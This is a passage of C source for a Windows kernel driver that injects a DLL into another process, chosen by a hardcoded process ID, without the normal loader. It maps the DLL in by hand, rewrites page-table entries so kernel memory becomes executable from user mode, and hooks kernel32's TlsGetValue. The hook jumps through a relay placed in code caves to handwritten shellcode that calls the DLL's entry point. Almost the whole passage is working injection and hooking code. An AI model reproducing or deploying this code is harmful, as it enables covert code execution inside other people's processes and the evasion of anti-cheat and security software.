if ((*(PULONGLONG)(PXEVA + PXEOffset) & 0xFFFFFFFFF000) == PXEPA) 364 | return (PXEOffset + 0xFFFF000) << 36; 365 | PXEOffset += 8; 366 | } while (PXEOffset < PAGE_SIZE); 367 | } 368 | return 0; 369 | } 370 | 371 | ULONG64 MiGetXXXAddress(ULONG64 VirtualAddress, PVOID PteBase) { 372 | return ((VirtualAddress >> 9) & 0x7FFFFFFFF8) + (ULONG64)PteBase; 373 | } 374 | 375 | VOID Modify2UserMem() 376 | { 377 | if (g_shellCode && g_allocateSize) 378 | { 379 | PULONG64 PteBase = (PULONG64)GetPTEBase(); 380 | if (PteBase) 381 | { 382 | for (ULONG i = 0; i < g_allocateSize / PAGE_SIZE; i++) 383 | { 384 | PULONG64 Pte = (PULONG64)MiGetXXXAddress((ULONG64)g_shellCode + (ULONG64)i * PAGE_SIZE, PteBase); 385 | PULONG64 Pde = (PULONG64)MiGetXXXAddress((ULONG64)Pte, PteBase); 386 | PULONG64 Ppe = (PULONG64)MiGetXXXAddress((ULONG64)Pde, PteBase); 387 | PULONG64 Pxe = (PULONG64)MiGetXXXAddress((ULONG64)Ppe, PteBase); 388 | if (MmIsAddressValid(Pte) && MmIsAddressValid(Pde) && MmIsAddressValid(Ppe) && MmIsAddressValid(Pxe)) 389 | { 390 | *Pte |= 4; 391 | *Pde |= 4; 392 | *Ppe |= 4; 393 | *Pxe |= 4; 394 | *Pte &= (~0x100); 395 | *Pde &= (~0x100); 396 | } 397 | else if (MmIsAddressValid(Pde) && MmIsAddressValid(Ppe) && MmIsAddressValid(Pxe))//2m page 398 | { 399 | *Pde |= 4; 400 | *Ppe |= 4; 401 | *Pxe |= 4; 402 | *Pde &= (~0x100); 403 | } 404 | else if (MmIsAddressValid(Ppe) && MmIsAddressValid(Pxe))//1g page 405 | { 406 | *Ppe |= 4; 407 | *Pxe |= 4; 408 | } 409 | } 410 | } 411 | } 412 | } 413 | 414 | VOID Modify2KernelMem() 415 | { 416 | if (g_shellCode && g_allocateSize) 417 | { 418 | PEPROCESS pEprocess = NULL; 419 | if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)g_injectPid, &pEprocess))) 420 | { 421 | KAPC_STATE kApc = { 0 }; 422 | KeStackAttachProcess(pEprocess, &kApc); 423 | PULONG64 PteBase = (PULONG64)GetPTEBase(); 424 | if (PteBase) 425 | { 426 | for (ULONG i = 0; i < g_allocateSize / PAGE_SIZE; i++) 427 | { 428 | PULONG64 Pte = (PULONG64)MiGetXXXAddress((ULONG64)g_shellCode + (ULONG64)i * PAGE_SIZE, PteBase); 429 | PULONG64 Pde = (PULONG64)MiGetXXXAddress((ULONG64)Pte, PteBase); 430 | PULONG64 Ppe = (PULONG64)MiGetXXXAddress((ULONG64)Pde, PteBase); 431 | PULONG64 Pxe = (PULONG64)MiGetXXXAddress((ULONG64)Ppe, PteBase); 432 | 433 | if (MmIsAddressValid(Pte) && MmIsAddressValid(Pde) && MmIsAddressValid(Ppe) && MmIsAddressValid(Pxe)) 434 | { 435 | *Pte &= 0xfffffffffffffffb; 436 | *Pde &= 0xfffffffffffffffb; 437 | *Ppe &= 0xfffffffffffffffb; 438 | *Pxe &= 0xfffffffffffffffb; 439 | } 440 | else if (MmIsAddressValid(Pde) && MmIsAddressValid(Ppe) && MmIsAddressValid(Pxe))//2m page 441 | { 442 | *Pde &= 0xfffffffffffffffb; 443 | *Ppe &= 0xfffffffffffffffb; 444 | *Pxe &= 0xfffffffffffffffb; 445 | } 446 | else if (MmIsAddressValid(Ppe) && MmIsAddressValid(Pxe))//1g page 447 | { 448 | *Ppe &= 0xfffffffffffffffb; 449 | *Pxe &= 0xfffffffffffffffb; 450 | } 451 | } 452 | } 453 | KeUnstackDetachProcess(&kApc); 454 | ObDereferenceObject(pEprocess); 455 | } 456 | } 457 | } 458 | 459 | NTSTATUS MapDLLAndFixIAT(IN PEPROCESS EProcess) 460 | { 461 | NTSTATUS Status; 462 | HANDLE FileHandle; 463 | IO_STATUS_BLOCK ioStatus; 464 | UNICODE_STRING uniFileName; 465 | FILE_STANDARD_INFORMATION FileInformation; 466 | RtlInitUnicodeString(&uniFileName, DLLPATH); 467 | 468 | OBJECT_ATTRIBUTES objectAttributes; 469 | InitializeObjectAttributes(&objectAttributes, &uniFileName, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL); 470 | 471 | Status = IoCreateFile(&FileHandle, FILE_READ_ATTRIBUTES | SYNCHRONIZE, &objectAttributes, &ioStatus, 0, FILE_READ_ATTRIBUTES, FILE_SHARE_READ, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0, CreateFileTypeNone, NULL, IO_NO_PARAMETER_CHECKING); 472 | if (!NT_SUCCESS(Status)) 473 | return Status; 474 | 475 | Status = ZwQueryInformationFile(FileHandle, &ioStatus, &FileInformation, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation); 476 | if (!NT_SUCCESS(Status)) 477 | { 478 | ZwClose(FileHandle); 479 | return Status; 480 | } 481 | 482 | if (FileInformation.EndOfFile.HighPart != 0) 483 | { 484 | ZwClose(FileHandle); 485 | return Status; 486 | } 487 | 488 | ULONG64 uFileSize = FileInformation.EndOfFile.LowPart; 489 | PVOID pBuffer = ExAllocatePoolWithTag(PagedPool, uFileSize + PAGE_SIZE, 'YC'); 490 | if (pBuffer == NULL) 491 | { 492 | ZwClose(FileHandle); 493 | return Status; 494 | } 495 | 496 | LARGE_INTEGER byteOffset = { 0 }; 497 | Status = ZwReadFile(FileHandle, NULL, NULL, NULL, &ioStatus, pBuffer, (ULONG)uFileSize, &byteOffset, NULL); 498 | if (!NT_SUCCESS(Status)) 499 | { 500 | ZwClose(FileHandle); 501 | return Status; 502 | } 503 | 504 | PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)pBuffer; 505 | if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) 506 | { 507 | return STATUS_UNSUCCESSFUL; 508 | } 509 | PIMAGE_NT_HEADERS64 pImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)pBuffer + ImageDosHeader->e_lfanew); 510 | PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)pImageNtHeaders64 + sizeof(pImageNtHeaders64->Signature) + sizeof(pImageNtHeaders64->FileHeader) + pImageNtHeaders64->FileHeader.SizeOfOptionalHeader); 511 | 512 | g_allocateSize = pImageNtHeaders64->OptionalHeader.SizeOfImage + PAGE_SIZE; 513 | g_shellCode = ExAllocatePoolWithTag(NonPagedPool, g_allocateSize, 'Yci'); 514 | if (g_shellCode) 515 | { 516 | RtlZeroMemory(g_shellCode, g_allocateSize); 517 | g_shellCode = (PVOID)((ULONG64)g_shellCode + PAGE_SIZE); 518 | 519 | memcpy(g_shellCode, pBuffer, pImageNtHeaders64->OptionalHeader.SizeOfHeaders); 520 | 521 | for (int i = 0; i < pImageNtHeaders64->FileHeader.NumberOfSections; i++) 522 | { 523 | memcpy((PUCHAR)g_shellCode + pSectionHeader->VirtualAddress, (PUCHAR)pBuffer + pSectionHeader->PointerToRawData, 524 | pSectionHeader->SizeOfRawData == 0 ? pSectionHeader->Misc.VirtualSize : pSectionHeader->SizeOfRawData); 525 | pSectionHeader++; 526 | } 527 | 528 | PIMAGE_EXPORT_DIRECTORY pExportHeader = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)g_shellCode + pImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 529 | PULONG pAddressOfFuncs = (PULONG)(pExportHeader->AddressOfFunctions + (ULONG64)g_shellCode); 530 | g_oep = (ULONG64)g_shellCode + pAddressOfFuncs[0]; 531 | 532 | PIMAGE_IMPORT_DESCRIPTOR pImportHeader = (PIMAGE_IMPORT_DESCRIPTOR)((PUCHAR)g_shellCode + pImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); 533 | while (pImportHeader->Name && pImportHeader->Characteristics) 534 | { 535 | WCHAR wName[0x20] = { 0 }; 536 | UNICODE_STRING uniDllName; 537 | PCHAR name = (PCHAR)g_shellCode + pImportHeader->Name; 538 | RtlStringCbPrintfW(wName, 0x20, L"%hs", name); 539 | RtlInitUnicodeString(&uniDllName, wName); 540 | PVOID pModuleBase = GetUserModule(EProcess, &uniDllName, FALSE); 541 | 542 | PIMAGE_THUNK_DATA64 pImageThunkData = (PIMAGE_THUNK_DATA64)(pImportHeader->FirstThunk + (PUCHAR)g_shellCode); 543 | while (pImageThunkData->u1.AddressOfData && pModuleBase) 544 | { 545 | if ((pImageThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64) == 0) 546 | { 547 | PIMAGE_IMPORT_BY_NAME pImageImportName = (PIMAGE_IMPORT_BY_NAME)(pImageThunkData->u1.AddressOfData + (PUCHAR)g_shellCode); 548 | PVOID func = GetModuleExport(pModuleBase, pImageImportName->Name); 549 | if (func && func < pModuleBase) 550 | { 551 | if (memcmp((PUCHAR)pModuleBase + (ULONG64)func, "NTDLL", strlen("NTDLL")) == 0)//NTDLL.RtlEncodePointer 552 | { 553 | UNICODE_STRING Kernel32String = RTL_CONSTANT_STRING(L"Ntdll.dll"); 554 | PVOID NtdllAddress = GetUserModule(EProcess, &Kernel32String, FALSE); 555 | func = GetModuleExport(NtdllAddress, (PCCHAR)pModuleBase + (ULONG64)func + strlen("NTDLL.")); 556 | } 557 | } 558 | 559 | if (func) 560 | pImageThunkData->u1.Function = (ULONG64)func; 561 | } 562 | pImageThunkData++; 563 | } 564 | pImportHeader++; 565 | } 566 | 567 | ULONG64 baseAddressoffest = ((ULONG64)g_shellCode) - (pImageNtHeaders64->OptionalHeader.ImageBase); 568 | PIMAGE_BASE_RELOCATION pRelocation = (PIMAGE_BASE_RELOCATION)((PUCHAR)g_shellCode + pImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); 569 | while (pRelocation->SizeOfBlock && pRelocation->VirtualAddress) 570 | { 571 | ULONG iTypeOffsetCount = (ULONG)(pRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2; 572 | for (ULONG i = 0; i < iTypeOffsetCount; i++) 573 | { 574 | USHORT TypeOffsetInfo = *(USHORT*)((PUCHAR)pRelocation + sizeof(IMAGE_BASE_RELOCATION) + i * sizeof(USHORT)); 575 | USHORT TypeOffsetFlag = (TypeOffsetInfo >> 12) & 0x000F; 576 | if (IMAGE_REL_BASED_HIGHLOW == TypeOffsetFlag || TypeOffsetFlag == IMAGE_REL_BASED_DIR64) 577 | { 578 | ULONG64 relocationAddress = (ULONG64)g_shellCode + pRelocation->VirtualAddress + (TypeOffsetInfo & 0x0FFF); 579 | *(PULONG64)relocationAddress += baseAddressoffest; 580 | } 581 | } 582 | pRelocation = (PIMAGE_BASE_RELOCATION)((ULONG64)pRelocation + pRelocation->SizeOfBlock); 583 | } 584 | 585 | g_shellCode = (PVOID)((ULONG64)g_shellCode - PAGE_SIZE); 586 | } 587 | 588 | ExFreePoolWithTag(pBuffer, 'YC'); 589 | ZwClose(FileHandle); 590 | return Status; 591 | } 592 | 593 | VOID Sleep(LONG msec) 594 | { 595 | LARGE_INTEGER my_interval; 596 | my_interval.QuadPart = DELAY_ONE_MILLISECOND; 597 | my_interval.QuadPart *= msec; 598 | KeDelayExecutionThread(KernelMode, 0, &my_interval); 599 | } 600 | 601 | PVOID fixThread(PVOID Parameter) 602 | { 603 | while (TRUE) 604 | { 605 | if (g_shellCode && *(PULONG64)((ULONG64)g_shellCode + PAGE_SIZE / 2 + 8)) 606 | { 607 | PEPROCESS pEprocess = NULL; 608 | if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)Parameter, &pEprocess))) 609 | { 610 | KAPC_STATE kApc = { 0 }; 611 | KeStackAttachProcess(pEprocess, &kApc); 612 | MapSC((PUCHAR)& g_funcoffset, (PUCHAR)g_funcAddress + 1, sizeof(ULONG)); 613 | KeUnstackDetachProcess(&kApc); 614 | ObDereferenceObject(pEprocess); 615 | } 616 | break; 617 | } 618 | Sleep(233); 619 | } 620 | return NULL; 621 | } 622 | 623 | PVOID fixTlsGetValue(ULONG pid) 624 | { 625 | g_workItem = (PWORK_QUEUE_ITEM)ExAllocatePoolWithTag(NonPagedPool, sizeof(WORK_QUEUE_ITEM), 'Yi'); 626 | if (g_workItem) 627 | { 628 | ExInitializeWorkItem(g_workItem, (PWORKER_THREAD_ROUTINE)fixThread, (PVOID)pid); 629 | ExQueueWorkItem(g_workItem, DelayedWorkQueue); 630 | } 631 | return NULL; 632 | } 633 | 634 | NTSTATUS InjectProcessX64(ULONG pid) 635 | { 636 | PEPROCESS pEprocess = NULL; 637 | if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pid, &pEprocess))) 638 | { 639 | KAPC_STATE kApc = { 0 }; 640 | KeStackAttachProcess(pEprocess, &kApc); 641 | MapDLLAndFixIAT(pEprocess); 642 | Modify2UserMem(); 643 | 644 | UNICODE_STRING Kernel32String = RTL_CONSTANT_STRING(L"Kernel32.dll"); 645 | PVOID Kernel32Address = GetUserModule(pEprocess, &Kernel32String, FALSE);// 646 | 647 | if (Kernel32Address && g_shellCode) 648 | { 649 | PVOID func = GetModuleExport(Kernel32Address, "TlsGetValue"); 650 | PVOID relayAddress = SearchModuleTextNop(Kernel32Address,0x28, 0); 651 | //PVOID shellcodeAddress = SearchModuleTextNop(Kernel32Address, 0x88 + 0x28, 0x28); 652 | if (func && relayAddress)// && shellcodeAddress) 653 | { 654 | __try 655 | { 656 | UCHAR checkPid[] = 657 | { 658 | 0x65, 0x48, 0x8B, 0x04, 0x25, 0x30, 0x00, 0x00, 0x00, // mov rax, gs:[0x30] 659 | 0x8B, 0x40, 0x40, // mov eax,[rax+0x40] ; pid 660 | 0x3D, 0x00, 0x00, 0x00, 0x00, // cmp eax, TargetPid 661 | 0x0F, 0x85, 0x00, 0x00, 0x00, 0x00, // jne 0xAABBCC 662 | 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, KernelMemory 663 | 0xFF, 0xE0 // jmp rax 664 | }; 665 | ULONG64 tagetAddress = 0; 666 | g_funcAddress = (ULONG64)func; 667 | 668 | if (((PUCHAR)func)[0] == 0xEB)//support win7 669 | { 670 | g_funcoffset = (ULONG)*(PUCHAR)((PUCHAR)func + 1); 671 | tagetAddress = (ULONG64)func + g_funcoffset + 2; 672 | g_funcoffset = tagetAddress - g_funcAddress - 5; 673 | } 674 | else 675 | { 676 | g_funcoffset = *(ULONG*)((PUCHAR)func + 1); 677 | tagetAddress = (ULONG64)func + g_funcoffset + 5; 678 | } 679 | 680 | ULONG jneAddress = (ULONG)(tagetAddress - (ULONG64)((PUCHAR)relayAddress + 17) - 6); 681 | memcpy(checkPid + 13, &pid, sizeof(ULONG)); 682 | memcpy(checkPid + 19, &jneAddress, sizeof(ULONG)); 683 | memcpy(checkPid + 25, &g_shellCode, sizeof(ULONG64)); 684 | //memcpy(checkPid + 25, &shellcodeAddress, sizeof(ULONG64)); 685 | MapSC(checkPid, relayAddress, sizeof(checkPid)); 686 | 687 | UCHAR shellCode[] = 688 | { 689 | 0x41, 0x57, // push r15 690 | 0x41, 0x56, // push r14 691 | 0x41, 0x55, // push r13 692 | 0x41, 0x54, // push r12 693 | 0x41, 0x53, // push r11 694 | 0x41, 0x52, // push r10 695 | 0x41, 0x51, // push r9 696 | 0x41, 0x50, // push r8 697 | 0x50, // push rax 698 | 0x51, // push rcx 699 | 0x53, // push rbx 700 | 0x52, // push rdx 701 | 0x55, // push rbp 702 | 0x54, // push rsp 703 | 0x56, // push rsi 704 | 0x57, // push rdi 705 | 0x66, 0x9C, // pushf 706 | 0x48, 0x83, 0xEC, 0x1E, // sub rsp, 0x20 707 | 0x48, 0xBB, 0, 0, 0, 0, 0, 0, 0, 0, // mov rbx,g_shellcode+0x500 708 | 0x48, 0x8B, 0x03, // mov rax,qword ptr ds:[rbx] 709 | 0x48, 0x83, 0xF8, 0x00, // cmp rax,0 710 | 0x75, 0x48, // jne add rsp, 0x28 711 | 0x48, 0xB8, 1, 0, 0, 0, 0, 0, 0, 0, // mov rax,1 712 | 0xF0, 0x48, 0x0F, 0xC1, 0x03, // lock xadd qword ptr ds:[rbx],rax 713 | 0x48, 0x83, 0xF8, 0x00, // cmp rax,0 714 | 0x75, 0x33, // jne add rsp, 0x28 715 | 0x48, 0xB9, 0, 0, 0, 0, 0, 0, 0, 0, // mov rcx,hModule 716 | 0x48, 0xBA, 0, 0, 0, 0, 0, 0, 0, 0, // mov rdx,DLL_PROCESS_ATTACH 717 | 0x4D, 0x33, 0xC0, // xor r8,r8 718 | 0x4D, 0x33, 0xC9, // xor r9,r9 719 | 0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0, // mov rax,oep 720 | 0xFF, 0xD0, // call rax 721 | 0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0, // mov rax,GameOver 722 | 0x48, 0x89, 0x08, // mov qword ptr ds:[rax],rcx 723 | 0x48, 0x83, 0xC4, 0x1E, // add rsp, 0x20 724 | 0x66, 0x9D, // popf 725 | 0x5F, // pop rdi 726 | 0x5E, // pop rsi 727 | 0x5C, // pop rsp 728 | 0x5D, // pop rbp 729 | 0x5A, // pop rdx 730 | 0x5B, // pop rbx 731 | 0x59, // pop rcx 732 | 0x58, // pop rax 733 | 0x41, 0x58, // pop r8 734 | 0x41, 0x59, // pop r9 735 | 0x41, 0x5A, // pop r10 736 | 0x41, 0x5B, // pop r11 737 | 0x41, 0x5C, // pop r12 738 | 0x41, 0x5D, // pop r13 739 | 0x41, 0x5E, // pop r14 740 | 0x41, 0x5F, // pop r15 741 | 0x50, // push rax 742 | 0x50, // push rax 743 | 0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0, // mov rax, orgEip 744 | 0x48, 0x89, 0x44, 0x24, 0x08, // mov [rsp+8],rax 745 | 0x58, // pop rax 746 | 0xC3 // ret 747 | }; 748 | ULONG64 dllStats = 1; 749 | ULONG64 hModule = (ULONG64)g_shellCode + PAGE_SIZE; 750 | ULONG64 flagAddress = (ULONG64)g_shellCode + PAGE_SIZE/2; 751 | ULONG64 flagoverAddress = (ULONG64)g_shellCode + PAGE_SIZE / 2 + 8; 752 | memcpy(shellCode + 32, &flagAddress, sizeof(ULONG64)); 753 | memcpy(shellCode + 32 + 31 + 9, &hModule, sizeof(ULONG64)); 754 | memcpy(shellCode + 42 + 31 + 9, &dllStats, sizeof(ULONG64)); 755 | memcpy(shellCode + 58 + 31 + 9, &g_oep, sizeof(ULONG64)); 756 | memcpy(shellCode + 70 + 31 + 9, &flagoverAddress, sizeof(ULONG64)); 757 | memcpy(shellCode + 64 + 38 + 31 + 9 + 13, &tagetAddress, sizeof(ULONG64)); 758 | memcpy(g_shellCode, shellCode, sizeof(shellCode)); 759 | 760 | //memcpy(shellCode + 64, &tagetAddress, sizeof(ULONG64)); 761 | //memcpy(g_shellCode, shellCode, sizeof(shellCode)); 762 | //MapSC(shellCode, shellcodeAddress,sizeof(shellCode)); 763 | 764 | ULONG jmpRelayAddress = (ULONG)((ULONG64)relayAddress - (ULONG64)func - 5); 765 | UCHAR jmpRelay[] = { 0xE9,0,0,0,0 }; 766 | memcpy(jmpRelay + 1, &jmpRelayAddress, sizeof(ULONG)); 767 | MapSC(jmpRelay, func, sizeof(jmpRelay)); 768 | 769 | }__except(EXCEPTION_EXECUTE_HANDLER){} 770 | } 771 | } 772 | KeUnstackDetachProcess(&kApc); 773 | ObDereferenceObject(pEprocess); 774 | } 775 | return STATUS_SUCCESS; 776 | } 777 | 778 | NTSTATUS DriverUnload(PDRIVER_OBJECT pObj) 779 | { 780 | UNREFERENCED_PARAMETER(pObj); 781 | 782 | if (g_shellCode) 783 | { 784 | Modify2KernelMem(); 785 | ExFreePoolWithTag(g_shellCode, 'Yci'); 786 | g_shellCode = NULL; 787 | } 788 | 789 | if (g_workItem) 790 | { 791 | ExFreePoolWithTag(g_workItem, 'Yi'); 792 | g_workItem = NULL; 793 | } 794 | 795 | DbgPrint("See you!\n"); 796 | return STATUS_SUCCESS; 797 | } 798 | 799 | NTSTATUS DriverEntry(PDRIVER_OBJECT pObj, PUNICODE_STRING pPath) 800 | { 801 | UNREFERENCED_PARAMETER(pPath); 802 | pObj->DriverUnload = DriverUnload; 803 | //DbgBreakPoint(); 804 | //g_injectPid = 2840; 805 | g_injectPid = 7524; 806 | InjectProcessX64(g_injectPid); 807 | fixTlsGetValue(g_injectPid); 808 | return STATUS_SUCCESS; 809 | } --------------------------------------------------------------------------------